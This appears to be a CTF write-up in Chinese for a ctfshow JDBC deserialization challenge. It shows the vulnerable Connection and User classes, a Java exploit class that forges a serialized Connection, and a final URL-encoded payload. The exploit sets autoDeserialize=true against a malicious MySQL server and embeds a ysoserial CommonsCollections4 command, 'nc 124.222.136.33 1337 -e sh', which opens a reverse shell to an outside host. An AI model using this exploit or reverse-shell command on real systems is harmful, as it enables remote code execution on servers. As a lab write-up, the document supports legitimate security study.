考察JDBC反序列化,并给了User类和Connection类代码
Connection类源码如下:
package com.ctfshow.entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Objects;
public class Connection implements Serializable {
private static final long serialVersionUID = 2807147458202078901L;
private String driver;
private String schema;
private String host;
private int port;
private User user;
private String database;
public String getDriver() {
return driver;
}
public void setDriver(String driver) {
this.driver = driver;
}
public String getSchema() {
return schema;
}
public void setSchema(String schema) {
this.schema = schema;
}
public void setPort(int port) {
this.port = port;
}
public String getHost() {
return host;
}
public void setHost(String host) {
this.host = host;
}
public User getUser() {
return user;
}
public void setUser(User user) {
this.user = user;
}
public String getDatabase() {
return database;
}
public void setDatabase(String database) {
this.database = database;
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException, SQLException {
Class.forName("com.mysql.jdbc.Driver");
ObjectInputStream.GetField gf = in.readFields();
String host = (String) gf.get("host", "127.0.0.1");
int port = (int) gf.get("port",3306);
User user = (User) gf.get("user",new User("root","root"));
String database = (String) gf.get("database", "ctfshow");
String schema = (String) gf.get("schema", "jdbc:mysql");
DriverManager.getConnection( schema+"://"+host+":"+port+"/?"+database+"&user="+user.getUsername());
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof Connection)) return false;
Connection that = (Connection) o;
return Objects.equals(host, that.host) && Objects.equals(port, that.port) && Objects.equals(user, that.user) && Objects.equals(database, that.database);
}
@Override
public int hashCode() {
return Objects.hash(host, port, user, database);
}
}
User类源码如下:
package com.ctfshow.entity;
import java.io.*;
public class User implements Serializable {
private static final long serialVersionUID = -7205095498817563965L;
private String username;
private String password;
public User(String username, String password) {
this.username = username;
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (!(o instanceof User)) return false;
User user = (User) o;
return this.hashCode() == user.hashCode();
}
@Override
public int hashCode() {
return username.hashCode()+password.hashCode();
}
}
构造exp:
package com.ctfshow.entity;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
Connection connection = new Connection();
Class<? extends Connection> aClass = connection.getClass();
Field host = aClass.getDeclaredField("host");
host.setAccessible(true);
host.set(connection,"124.222.136.33");
Field port = aClass.getDeclaredField("port");
port.setAccessible(true);
port.set(connection,3306);
Field user = aClass.getDeclaredField("user");
user.setAccessible(true);
user.set(connection,new User("yso_CommonsCollections4_nc 124.222.136.33 1337 -e sh","123456"));
Field schema = aClass.getDeclaredField("schema");
schema.setAccessible(true);
schema.set(connection,"jdbc:mysql");
Field database = aClass.getDeclaredField("database");
database.setAccessible(true);
database.set(connection,"detectCustomCollations=true&autoDeserialize=true");
serialize(connection);
}
public static void serialize(Object obj) throws IOException, IOException {
ByteArrayOutputStream data =new ByteArrayOutputStream();
ObjectOutput oos =new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
};
}
最终payload:
ctfshow=%72%4f%30%41%42%58%4e%79%41%42%31%6a%62%32%30%75%59%33%52%6d%63%32%68%76%64%79%35%6c%62%6e%52%70%64%48%6b%75%51%32%39%75%62%6d%56%6a%64%47%6c%76%62%69%62%30%2f%62%32%47%52%6f%36%31%41%67%41%47%53%51%41%45%63%47%39%79%64%45%77%41%43%47%52%68%64%47%46%69%59%58%4e%6c%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%47%5a%48%4a%70%64%6d%56%79%63%51%42%2b%41%41%46%4d%41%41%52%6f%62%33%4e%30%63%51%42%2b%41%41%46%4d%41%41%5a%7a%59%32%68%6c%62%57%46%78%41%48%34%41%41%55%77%41%42%48%56%7a%5a%58%4a%30%41%42%6c%4d%59%32%39%74%4c%32%4e%30%5a%6e%4e%6f%62%33%63%76%5a%57%35%30%61%58%52%35%4c%31%56%7a%5a%58%49%37%65%48%41%41%41%41%7a%71%64%41%41%77%5a%47%56%30%5a%57%4e%30%51%33%56%7a%64%47%39%74%51%32%39%73%62%47%46%30%61%57%39%75%63%7a%31%30%63%6e%56%6c%4a%6d%46%31%64%47%39%45%5a%58%4e%6c%63%6d%6c%68%62%47%6c%36%5a%54%31%30%63%6e%56%6c%63%48%51%41%44%6a%45%79%4e%43%34%79%4d%6a%49%75%4d%54%4d%32%4c%6a%4d%7a%64%41%41%4b%61%6d%52%69%59%7a%70%74%65%58%4e%78%62%48%4e%79%41%42%64%6a%62%32%30%75%59%33%52%6d%63%32%68%76%64%79%35%6c%62%6e%52%70%64%48%6b%75%56%58%4e%6c%63%70%77%43%57%39%46%73%4e%70%4c%44%41%67%41%43%54%41%41%49%63%47%46%7a%63%33%64%76%63%6d%52%78%41%48%34%41%41%55%77%41%43%48%56%7a%5a%58%4a%75%59%57%31%6c%63%51%42%2b%41%41%46%34%63%48%51%41%42%6a%45%79%4d%7a%51%31%4e%6e%51%41%4e%48%6c%7a%62%31%39%44%62%32%31%74%62%32%35%7a%51%32%39%73%62%47%56%6a%64%47%6c%76%62%6e%4d%30%58%32%35%6a%49%44%45%79%4e%43%34%79%4d%6a%49%75%4d%54%4d%32%4c%6a%4d%7a%49%44%45%7a%4d%7a%63%67%4c%57%55%67%63%32%67%3d
成功反弹shell